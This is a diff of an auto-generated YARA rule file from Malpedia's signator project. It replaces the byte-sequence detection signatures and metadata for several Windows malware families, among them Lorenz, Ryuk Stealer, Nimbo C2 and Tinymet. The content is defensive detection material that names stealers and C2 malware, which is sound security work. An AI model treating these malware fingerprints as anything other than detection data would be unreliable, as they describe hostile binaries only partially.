 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "10a95bcc-414b-5fdc-ba6f-70234a4a7232"
+		id = "2b71c66f-6603-595c-99bb-89c942583260"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lorenz"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lorenz_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.huskloader"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.huskloader_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "b3150a02c51834520c50a8abe1ab216fe79abbf33e7abc68b4a01a1cc4acdf52"
-		score = 60
-		quality = 45
+		logic_hash = "0b5c5ed5027920c73090f364afb1f0be41c97145cf9de72e357bac2712d50fca"
+		score = 75
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -171214,32 +178290,32 @@ rule MALPEDIA_Win_Lorenz_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b4de8 e8???????? 898568ffffff eb15 8b55fc 8b4258 8b4df4 }
-		$sequence_1 = { c6412901 837df800 7423 8b55fc c7420c00000000 8b45f8 8b08 }
-		$sequence_2 = { 8b8800080000 e8???????? 8945f0 8b4dfc 8b8900080000 e8???????? 8945e0 }
-		$sequence_3 = { 8b55fc 8b4214 8b08 83e901 8b55fc 8b4214 8908 }
-		$sequence_4 = { ff55e4 8b55f0 89828c000000 8b45f0 8b888c000000 51 8b4dec }
-		$sequence_5 = { 8b4dfc e8???????? 85c0 7426 68???????? 68???????? 6a00 }
-		$sequence_6 = { 8b4dfc e8???????? 8bc8 e8???????? 0fb6c8 85c9 7460 }
-		$sequence_7 = { 8b4df8 83e904 e8???????? 8bc8 e8???????? 0fb6c8 85c9 }
-		$sequence_8 = { 50 e8???????? 8945d8 837dd800 0f8445010000 8b4dd8 d1e1 }
-		$sequence_9 = { 8b4dec 8b11 895004 8b45ec 8945e8 8b4de8 51 }
+		$sequence_0 = { 8bc7 83e03f 6bc838 8b0495e88d0110 }
+		$sequence_1 = { 59 e9???????? c745e003000000 e9???????? c745e4c05e0110 ebb8 d9e8 }
+		$sequence_2 = { 6a00 681f000f00 50 ff15???????? 85c0 }
+		$sequence_3 = { 740e 50 e8???????? 83a6e88d011000 59 83c604 81fe00020000 }
+		$sequence_4 = { 8d043b 8b3485601f0110 8d4601 8945fc 8a06 46 }
+		$sequence_5 = { 57 8bb81c060000 6a40 6800300000 56 6a00 ff15???????? }
+		$sequence_6 = { 85c0 7411 8b35???????? b98b010000 }
+		$sequence_7 = { 7420 6bc618 57 8db8288c0110 57 ff15???????? }
+		$sequence_8 = { 8b35???????? 85f6 7420 6bc618 57 8db8288c0110 57 }
+		$sequence_9 = { 0fb704850c3b0110 8d048508320110 50 8d8590faffff 03c7 50 }
 
 	condition:
-		7 of them and filesize <2254848
+		7 of them and filesize <229376
 }
-rule MALPEDIA_Win_Poortry_Auto : FILE
+rule MALPEDIA_Win_Headertip_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "2cf345f6-6c65-548f-9e1e-6a67040df1b7"
+		id = "85fa344d-9a7e-5c14-be69-b6cdc5f3bcac"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.poortry"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.poortry_auto.yar#L1-L133"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.headertip"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.headertip_auto.yar#L1-L126"
 		license_url = "N/A"
-		logic_hash = "3ea6c4ba39d0058f0069c86346c9de0810387b212bcc1f7c57e5a516c20ae9ad"
+		logic_hash = "4007b2c1a7322a986be26c8429a660608ab1b4d0812b16868306a2db8cbc4c12"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -171253,32 +178329,32 @@ rule MALPEDIA_Win_Poortry_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 41f7d2 f9 4181f80255e860 4181f225619d1f 41f7da f8 4181c2174c0279 }
-		$sequence_1 = { 66f7c4e120 310424 5e 41f6c105 443af4 4863c0 f5 }
-		$sequence_2 = { 66443bf0 56 0fbae697 c1e61f 311424 f9 660fbafec8 }
-		$sequence_3 = { 41f7d3 4151 450aca 6641d3e1 44311c24 4180d1a2 }
-		$sequence_4 = { f8 81f79e0d521c f8 d1cf 81c71d19891d f8 f5 }
-		$sequence_5 = { 4151 41c0e937 4d0fb7c9 313424 450fc0c9 66450fabf1 66410fbae1d7 }
-		$sequence_6 = { 4484c7 81c33f50eb3f 664181f8ec0e f7db 4153 311c24 6641c1c318 }
-		$sequence_7 = { 56 401af3 40d2e6 66f7c4e120 310424 5e 41f6c105 }
-		$sequence_8 = { 4123ea 48c1d5cd 5d f9 4d63c9 4881f98925786f 664185d3 }
-		$sequence_9 = { f6dd 4159 4084ee 40b5c4 9d 66400fbecd 59 }
+		$sequence_0 = { 85c0 7434 8b07 ff4d08 03c3 56 }
+		$sequence_1 = { 57 ff15???????? 59 eb32 ffd6 }
+		$sequence_2 = { c645d274 c645d36f c645d472 c645d579 c645d657 885dd7 c645ac47 }
+		$sequence_3 = { c6458d75 c6458e65 c6458f72 c6459079 c645914f c6459270 c6459374 }
+		$sequence_4 = { 56 8d45ec 50 8d45f0 50 6813000020 }
+		$sequence_5 = { 894df4 8955fc f7c60000ffff 7513 81e6ffff0000 2b7010 }
+		$sequence_6 = { 03c6 ebea 56 8b742410 57 }
+		$sequence_7 = { 58 668945f8 6a32 58 668945fa 33c0 668945fc }
+		$sequence_8 = { ff15???????? a3???????? 3bc6 0f84c0000000 53 8d4df4 }
+		$sequence_9 = { 50 ff15???????? 83c414 56 b80013e084 50 56 }
 
 	condition:
-		7 of them and filesize <8078336
+		7 of them and filesize <174080
 }
-rule MALPEDIA_Win_Chinad_Auto : FILE
+rule MALPEDIA_Win_Socksbot_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "55179322-c960-5946-aa14-87280de490d7"
+		id = "9bcf8cfe-6674-56a4-ae23-27a14bd76431"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chinad"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.chinad_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.socksbot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.socksbot_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "f63725bd92056d22834dfb19b05368c2071df890649a72d3254d014778d263a0"
+		logic_hash = "751966a23ad60ac8819a9938a949afcb7d6a09a99a37898a0110d849f807b7bf"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -171292,34 +178368,34 @@ rule MALPEDIA_Win_Chinad_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c7850cffffff00000000 eb55 c78550ffffffbc264300 8b9550ffffff 83c201 8995b4feffff 8b8550ffffff }
-		$sequence_1 = { 8b85a8feffff 899485acfeffff e9???????? b904000000 6bd100 8b4508 8b0c10 }
-		$sequence_2 = { 2bf8 8bc2 c1f819 03f0 897dec c1e019 }
-		$sequence_3 = { 895de8 1bde 0145f4 8b75ac 119d7cffffff 8b5dec 81c300001000 }
-		$sequence_4 = { 0fa4c119 c1ee07 c1e019 0bd1 0bf0 31b514fdffff }
-		$sequence_5 = { 0fa4f701 6a13 03f6 03b55cffffff 89b560ffffff 137dcc 81c600000001 }
-		$sequence_6 = { c1c802 33c8 8b85d4feffff 8bd8 03ca 2385d8feffff }
-		$sequence_7 = { 81d7745dbe72 019d14fdffff 11bd38fdffff 33d2 0facc81c c1e604 }
-		$sequence_8 = { 8b4e24 83c40c c1e903 b838000000 83e13f 83f938 7205 }
-		$sequence_9 = { b894280000 e8???????? a1???????? 33c5 8945fc c78570d7ffff80280000 8d8570d7ffff }
+		$sequence_0 = { 6a50 ff7508 33f6 8975fc e8???????? 8bd8 59 }
+		$sequence_1 = { 59 e9???????? 55 8bec ff4d0c 7509 ff7508 }
+		$sequence_2 = { 46 8a1c39 41 3b4d0c 7cce 5f 8935???????? }
+		$sequence_3 = { 6a00 ff7508 6a03 e8???????? 83c410 ff7704 }
+		$sequence_4 = { 48 741b 48 7536 53 }
+		$sequence_5 = { e8???????? 8bd8 8b45fc 8945f0 83c008 }
+		$sequence_6 = { 8b75fc 53 ff15???????? 57 e8???????? }
+		$sequence_7 = { 75ed ff7508 6bc94c 8b5dfc 03cf 51 53 }
+		$sequence_8 = { 8a0c37 880e 4a 75f7 }
+		$sequence_9 = { 81c60c000100 4b 75d2 68???????? ff15???????? a0???????? }
 
 	condition:
-		7 of them and filesize <598016
+		7 of them and filesize <73728
 }
-rule MALPEDIA_Win_Neutrino_Auto : FILE
+rule MALPEDIA_Win_Ryuk_Stealer_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "b9eb1524-9975-578b-ab6d-93138480d1f6"
+		id = "129184de-8948-5274-9e65-221045ceab9c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.neutrino"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.neutrino_auto.yar#L1-L324"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk_stealer"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ryuk_stealer_auto.yar#L1-L113"
 		license_url = "N/A"
-		logic_hash = "b8cd6770a3479380c0f958a2776eccb26f589975e6ef7e101cff7469e248afc4"
-		score = 60
-		quality = 43
+		logic_hash = "32617ac72ab27e6e0bdc0cedf044a04c83b7c2ead314f2e254d4a430611a1927"
+		score = 75
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -171331,57 +178407,34 @@ rule MALPEDIA_Win_Neutrino_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff15???????? c1e010 50 ff15???????? }
-		$sequence_1 = { 50 6a0b 6a07 e8???????? }
-		$sequence_2 = { 50 6a05 6a03 e8???????? }
-		$sequence_3 = { 85c9 7439 8b550c 8955fc 8b45fc 0fbe08 85c9 }
-		$sequence_4 = { 0fbe02 85c0 7447 8b4df4 0fbe11 8b45fc 0fbe08 }
-		$sequence_5 = { 0404 0404 0404 0402 0202 0202 }
-		$sequence_6 = { 8b4d0c 894dfc 8b55f4 83c201 8955f4 ebaf 8b45f4 }
-		$sequence_7 = { 0404 0404 010404 0202 }
-		$sequence_8 = { 020402 0404 0404 0404 0404 0404 0403 }
-		$sequence_9 = { 51 0fb655e7 52 8b45e0 50 e8???????? }
-		$sequence_10 = { 0fbe08 85c9 741b 8b55fc 0fbe02 8b4df8 0fbe11 }
-		$sequence_11 = { 894dfc 8b55fc 0fbe02 85c0 750f 8b4d0c 894dfc }
-		$sequence_12 = { 6a00 ff15???????? 6880000000 ff15???????? }
-		$sequence_13 = { 010404 0202 020402 0404 }
-		$sequence_14 = { e9???????? 6a01 ff15???????? 85c0 }
-		$sequence_15 = { 52 ff15???????? 83f8ff 7504 32c0 eb02 b001 }
-		$sequence_16 = { 894d08 0fb6550c 83fa01 7509 8b4508 83c001 894508 }
-		$sequence_17 = { 7407 814a1800300000 f645fe01 0f8494020000 834a1801 8b45f4 }
-		$sequence_18 = { 6a1c 5b 8d4de0 51 50 895de0 ff15???????? }
-		$sequence_19 = { 8a00 ff45f4 8b7218 8ad8 c0eb06 885dfc }
-		$sequence_20 = { 7354 8b3b 0fb6f2 6a05 58 2bc6 8d1437 }
-		$sequence_21 = { 51 ff35???????? c7460480000000 ff15???????? 8906 }
-		$sequence_22 = { 33d2 81e100f0ffff eb08 3bc1 7409 8bd0 }
-		$sequence_23 = { f645fe02 740a 834a1804 8a03 884210 43 f645fe40 }
-		$sequence_24 = { 83c120 81fae00f0000 76ea 8b0d???????? 8908 a3???????? 5f }
-		$sequence_25 = { 8d85b8feffff 50 68???????? ff15???????? 8945fc }
-		$sequence_26 = { 83c40c 6804010000 8d85f8fdffff 50 }
-		$sequence_27 = { 7507 68???????? eb05 68???????? 50 ff510c }
-		$sequence_28 = { 7522 be???????? ff15???????? 57 8906 ff15???????? 83c604 }
-		$sequence_29 = { 7412 68???????? 50 ff15???????? f7d8 1bc0 }
-		$sequence_30 = { 57 33ff 393d???????? 7522 be???????? }
-		$sequence_31 = { ff15???????? 50 ff15???????? 837dfc00 0f95c0 c9 }
-		$sequence_32 = { ff750c ff7508 ff15???????? 83f8ff 0f95c0 }
+		$sequence_0 = { 7410 83ff01 755d 8bcb }
+		$sequence_1 = { ff15???????? 33ff 0fb60437 50 }
+		$sequence_2 = { 75f5 2bd1 8d8db4fdffff d1fa 8d7102 }
+		$sequence_3 = { 50 e8???????? 83c40c ff15???????? 33d2 b910270000 }
+		$sequence_4 = { 83ff01 755d 8bcb e8???????? }
+		$sequence_5 = { 50 ff15???????? 8bf0 ff15???????? 85c0 7518 }
+		$sequence_6 = { 83ff01 755d 8bcb e8???????? 3bc7 }
+		$sequence_7 = { 99 b9a0860100 f7f9 81c2f8240100 52 ff15???????? }
+		$sequence_8 = { 7560 8d85b4fdffff 68???????? 50 }
+		$sequence_9 = { ff15???????? 8d442454 50 ff15???????? 50 }
 
 	condition:
-		7 of them and filesize <507904
+		7 of them and filesize <368640
 }
-rule MALPEDIA_Win_Sienna_Purple_Auto : FILE
+rule MALPEDIA_Win_Silence_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "cf85ec2b-384f-56db-af6a-79031e73a14e"
+		id = "f44b3bc4-8edd-502b-bd51-3105b7335797"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sienna_purple"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sienna_purple_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.silence"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.silence_auto.yar#L1-L413"
 		license_url = "N/A"
-		logic_hash = "ba62dd8b8de50fe0a193f425d94a0b3b25a4b9e54845758b6f1fb176e28dc859"
+		logic_hash = "c771c849ed5f5e02e308e7f1e45bb9b0766da378108a761728400240a10fde1e"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -171393,32 +178446,69 @@ rule MALPEDIA_Win_Sienna_Purple_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 8d4e08 c645fc02 c706???????? e8???????? 8bc6 8b4df4 }
-		$sequence_1 = { b8e5040000 5e 5d c3 68???????? 56 e8???????? }
-		$sequence_2 = { e8???????? 50 8d8f84040000 e8???????? b301 8d4db0 c745fcffffffff }
-		$sequence_3 = { 8d5729 f30f7f4728 f30f6f4310 f30f7f4738 f30f6f4320 f30f7f4748 f30f6f4330 }
-		$sequence_4 = { ff5014 8d8570ffffff 8bcf 50 68???????? e8???????? 8bce }
-		$sequence_5 = { f30f6f40f0 660fefc8 f30f7f48f0 3bd1 72c4 8bb540ffffff 8b8d6cffffff }
-		$sequence_6 = { c1e81f 23c8 8b421c 35ff000000 48 c1e81f 23c8 }
-		$sequence_7 = { c7072e000000 e9???????? 80be2501000000 7418 8b8d84fdffff e8???????? 50 }
-		$sequence_8 = { eb09 50 56 8bcb e8???????? 8b4df4 64890d00000000 }
-		$sequence_9 = { c1c70a 0bc8 8d83dcbc1b8f 034db4 03c1 8b5de8 c1c005 }
+		$sequence_0 = { 8d45fc 50 6a00 6a00 68???????? c745fc00000000 }
+		$sequence_1 = { 740a 8a4801 40 84c9 75f4 eb05 803800 }
+		$sequence_2 = { 8b4908 e8???????? cc 8325????????00 c3 6a08 }
+		$sequence_3 = { 683f020f00 6a00 68???????? 6801000080 ff15???????? 68???????? }
+		$sequence_4 = { 3b0d???????? 7502 f3c3 e9???????? e8???????? e9???????? 6a14 }
+		$sequence_5 = { 68???????? ffd6 8b45fc 85c0 }
+		$sequence_6 = { ff15???????? 6a00 6800000004 6a00 }
+		$sequence_7 = { 46 56 8d85f8feffff 50 }
+		$sequence_8 = { 6801000080 ff15???????? 56 8d85f8feffff }
+		$sequence_9 = { 8bd8 68???????? 53 ff15???????? 6a00 }
+		$sequence_10 = { 8b35???????? 6a00 6a00 6a00 6a00 8d45fc 50 }
+		$sequence_11 = { 6a00 8bf8 6a00 57 ff15???????? 8d45fc 50 }
+		$sequence_12 = { 40 84c9 75f4 eb0d 803800 7408 }
+		$sequence_13 = { 803800 7408 8a5a01 42 84db }
+		$sequence_14 = { 5e 5b 5d c3 c60200 42 }
+		$sequence_15 = { 8d85b8f7ffff 50 6800080000 8d85bcf7ffff }
+		$sequence_16 = { 8b85b8f7ffff 85c0 75b6 ffb5acf7ffff }
+		$sequence_17 = { 83c41c 895ef8 897ef0 5b 5f }
+		$sequence_18 = { 8bf9 e8???????? ff37 8b35???????? }
+		$sequence_19 = { ff501c 8b17 8bcf ff5210 8b17 }
+		$sequence_20 = { 7412 8b01 52 8d95f0fdffff 52 ff10 }
+		$sequence_21 = { 8d8dfcfbffff 51 ffb5f0fbffff 8bcb ff5038 }
+		$sequence_22 = { 0346f4 57 ff7508 50 e8???????? 83c40c }
+		$sequence_23 = { 03d7 3b56f0 7611 8b46ec }
+		$sequence_24 = { 85c9 7408 8b06 51 8bce ff501c }
+		$sequence_25 = { d3e0 0fb6c8 8b05???????? d3e0 }
+		$sequence_26 = { ff15???????? ba180c0000 b940000000 ff15???????? }
+		$sequence_27 = { ff15???????? 488d542430 488d8c2440020000 ff15???????? }
+		$sequence_28 = { 8b05???????? d3e0 8b0d???????? 03c8 }
+		$sequence_29 = { e8???????? ba00040000 b940000000 ff15???????? }
+		$sequence_30 = { ff15???????? 41b804010000 488d542430 488d4c2430 ff15???????? 85c0 }
+		$sequence_31 = { d3f8 0fb60d???????? d3e0 85c0 }
+		$sequence_32 = { 99 83e203 03c2 c1f802 89442440 }
+		$sequence_33 = { ff15???????? c20800 53 8b1d???????? 57 0f57c0 }
+		$sequence_34 = { 5e 85c0 7507 68???????? ffd7 5f }
+		$sequence_35 = { 7507 68???????? ffd7 6a00 6a00 6a01 6a00 }
+		$sequence_36 = { 750e 68???????? ff15???????? c20800 }
+		$sequence_37 = { 8d0441 33d2 b905000000 f7f1 }
+		$sequence_38 = { c705????????00000000 c705????????00000000 ffd3 8b3d???????? 85c0 7507 }
+		$sequence_39 = { 68???????? ff15???????? a3???????? 85c0 750e 68???????? }
+		$sequence_40 = { 8bec ff4d08 755d 833d????????04 7554 }
+		$sequence_41 = { c705????????04000000 ff15???????? 85c0 750b 68???????? ff15???????? }
+		$sequence_42 = { ff15???????? 68c0d40100 ff15???????? e9???????? }
+		$sequence_43 = { 03048db0354200 50 ff15???????? 5d }
+		$sequence_44 = { 0305???????? 0b45f0 3305???????? a3???????? }
+		$sequence_45 = { 03048db0354200 eb02 8bc6 80782900 }
+		$sequence_46 = { 03048db0354200 eb05 b8???????? f6402820 }
 
 	condition:
-		7 of them and filesize <2930688
+		7 of them and filesize <70128640
 }
-rule MALPEDIA_Win_Rover_Auto : FILE
+rule MALPEDIA_Win_Synflooder_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1dedd2f8-89d8-5b82-937e-e4187a543962"
+		id = "355e06d2-d319-5e82-9247-ae8f46ddbac0"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rover"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rover_auto.yar#L1-L132"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.synflooder"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.synflooder_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "6367e2cdf56f70609689c8633064a076a7b96ec3143349e9ae15d5e0ca66c168"
+		logic_hash = "95bdce90d0fd23dc18864dd54db497d62acdb308355c11b707eb697b526800c1"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -171432,32 +178522,32 @@ rule MALPEDIA_Win_Rover_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6800120000 885c247b ff15???????? 85c0 0f8422010000 8b35???????? 8d542460 }
-		$sequence_1 = { ff15???????? 8d4c2404 c684249c00000000 ff15???????? 8d8c24a4000000 c784249c000000ffffffff }
-		$sequence_2 = { 83ed01 0f8464010000 83ed04 0f845b010000 83bba402000000 8b6a28 896c240c }
-		$sequence_3 = { 85db 0f856f030000 8b471c 85c0 7421 50 8d442414 }
-		$sequence_4 = { 8bf0 83c404 3bf3 7537 a1???????? 8b4824 8d542438 }
-		$sequence_5 = { 50 8b442458 68???????? 50 e8???????? 83c410 85c0 }
-		$sequence_6 = { 8b8fb0050000 8d6b50 89442410 8987b0050000 8b85a8000000 8bd0 80e215 }
-		$sequence_7 = { 83e802 7426 83e815 740f 683f270000 ff15???????? 83c8ff }
-		$sequence_8 = { 83c40c c3 6a2f 57 ffd6 83c408 85c0 }
-		$sequence_9 = { 57 e8???????? 56 e8???????? 83c40c c744242c04000000 }
+		$sequence_0 = { ff35???????? ff15???????? 85c0 7442 8b7df4 85ff }
+		$sequence_1 = { 83e61f 8d3c8520fc4000 8b07 c1e606 }
+		$sequence_2 = { 750b 56 e8???????? 59 85c0 7407 }
+		$sequence_3 = { e8???????? 83c408 8b542420 52 68???????? e8???????? }
+		$sequence_4 = { 53 56 57 7408 33c0 40 e9???????? }
+		$sequence_5 = { c7465c20b04000 83660800 33ff 47 }
+		$sequence_6 = { 55 8bec 81ec98050000 a1???????? 33c5 8945fc 8d8568faffff }
+		$sequence_7 = { 8bf0 89742414 83feff 7524 68???????? e8???????? 83c404 }
+		$sequence_8 = { ff15???????? 83f8ff 7524 68???????? e8???????? 83c404 }
+		$sequence_9 = { 33db 85db 7466 8d45f4 50 ff75f8 53 }
 
 	condition:
-		7 of them and filesize <704512
+		7 of them and filesize <163840
 }
-rule MALPEDIA_Win_Gaudox_Auto : FILE
+rule MALPEDIA_Win_Nimbo_C2_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1eecaa5e-0125-509a-9dab-e8ce2f4b63fe"
+		id = "89998246-cbee-55ef-81ba-46cc3fd70d1a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gaudox"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gaudox_auto.yar#L1-L133"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nimbo_c2"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nimbo_c2_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "7eb2982f230b20ae36bb88377d3dc0b3ae4c2623263daca498d5416d3995e6aa"
+		logic_hash = "8c39050d61f289d245bf6365ffd110e7ad73787b347fdf5526ee916f50a01d10"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -171471,32 +178561,32 @@ rule MALPEDIA_Win_Gaudox_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7403 c60000 8bce e8???????? 8b45f8 85c0 7410 }
-		$sequence_1 = { 837df000 0f849a000000 6a00 8d95c4feffff 52 b804000000 6bc800 }
-		$sequence_2 = { 8d8c2458030000 e8???????? 8bf0 85f6 0f88df000000 a1???????? 8d8c2450030000 }
-		$sequence_3 = { a1???????? 57 ffb0b8000000 eb26 8bb8b0000000 83ff54 }
-		$sequence_4 = { 13c9 66f3ab 8b450c 03f0 8bc6 5f 5e }
-		$sequence_5 = { 56 8b7014 81feb8000000 7729 68???????? b9???????? e8???????? }
-		$sequence_6 = { ff75fc 8bf0 6a08 6a00 e8???????? 85f6 782a }
-		$sequence_7 = { 8b45f4 8b5018 85d2 74ec 6a00 6a00 68d113282e }
-		$sequence_8 = { 57 85c0 0f84ad010000 85d2 0f84a5010000 8b7d08 85ff }
-		$sequence_9 = { 8d442460 50 6a27 6a00 e8???????? 85c0 781c }
+		$sequence_0 = { 741a 488b4960 ba22000000 e8???????? 488d4b60 4889c2 e8???????? }
+		$sequence_1 = { 7434 498b07 b902000000 4899 48f7f9 498b17 31c9 }
+		$sequence_2 = { e8???????? 4883c470 5b 5e 5f 415c 415d }
+		$sequence_3 = { 488b4c2428 84c0 740f 4883c430 415c 415d 415e }
+		$sequence_4 = { 4889f1 4889442420 e8???????? 48ff4608 4883c440 5b 5e }
+		$sequence_5 = { 7d45 eb49 488b4a10 488b5218 48894810 4889d9 48895018 }
+		$sequence_6 = { 4d8b2c24 31ff 4c39ef 7de9 498b54fc10 4889f1 48ffc7 }
+		$sequence_7 = { e8???????? 31d2 4c89e1 498907 e8???????? 4c89e9 488906 }
+		$sequence_8 = { c1fa0c 83e23f 83ca80 885012 89da 83e33f c1fa06 }
+		$sequence_9 = { 807c33102d 0f94c0 48ffc6 ebd4 4c89e0 4883c428 5b }
 
 	condition:
-		7 of them and filesize <155648
+		7 of them and filesize <1141760
 }
-rule MALPEDIA_Win_Nokki_Auto : FILE
+rule MALPEDIA_Win_Tinymet_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "02120b2b-1366-521d-89f5-fe0cec012c20"
+		id = "a6e31398-6f4b-5407-9dd6-cb73f522ca46"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nokki"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nokki_auto.yar#L1-L156"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinymet"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tinymet_auto.yar#L1-L104"
 		license_url = "N/A"
-		logic_hash = "e29386a66940956320f6fdb11113fafeb375dcdfcfa05926d55033ad903bf7f3"
+		logic_hash = "08c0faf51104b44743d7b565703ff1ffe8a5a90a54db8ef44d5f821b9f74a23a"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -171510,36 +178600,30 @@ rule MALPEDIA_Win_Nokki_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 33d2 68ce070000 52 }
-		$sequence_1 = { e8???????? 33c9 68ce070000 51 }
-		$sequence_2 = { 8b420c 898d08f8ffff b9???????? 89b518f8ffff ffd0 }
-		$sequence_3 = { 884c0204 8b06 8bd0 83e01f c1fa05 8b149580054100 c1e006 }
-		$sequence_4 = { 8d8daaddffff 51 668985a8ddffff e8???????? 6800010000 8d95f0feffff 6a00 }
-		$sequence_5 = { 6a01 6a00 ff15???????? 8bf8 85ff 0f848a000000 6a00 }
-		$sequence_6 = { 51 8d9520f8ffff 52 e8???????? 83c408 85c0 744a }
-		$sequence_7 = { ffd6 57 ffd6 68a0bb0d00 }
-		$sequence_8 = { 8a8c181d010000 888888054100 40 ebe6 ff35???????? }
-		$sequence_9 = { 33ff ffb7d4ec4000 ff15???????? 8987d4ec4000 83c704 83ff28 }
-		$sequence_10 = { 83c40c 6804010000 8d95f4fdffff 52 6a00 ffd6 }
-		$sequence_11 = { 8d7810 89bd68e8ffff 8b8d60e8ffff 8b9564e8ffff 8d856ce8ffff 50 }
-		$sequence_12 = { 8bce e8???????? 33d2 6806020000 52 8d85eafdffff 50 }
-		$sequence_13 = { 8d8df4fdffff 51 ffd3 8d95f4fdffff 68???????? }
+		$sequence_0 = { 68???????? e9???????? 8d45ec 6a10 50 }
+		$sequence_1 = { 8bf0 83feff 751b 68???????? e9???????? ff15???????? }
+		$sequence_2 = { 56 ff15???????? 8b4df8 03d9 85c0 75df 8bc7 }
+		$sequence_3 = { 6a00 ff35???????? ff35???????? e8???????? 83c40c a3???????? ffd0 }
+		$sequence_4 = { 8bec 81eca4010000 8d855cfeffff 53 }
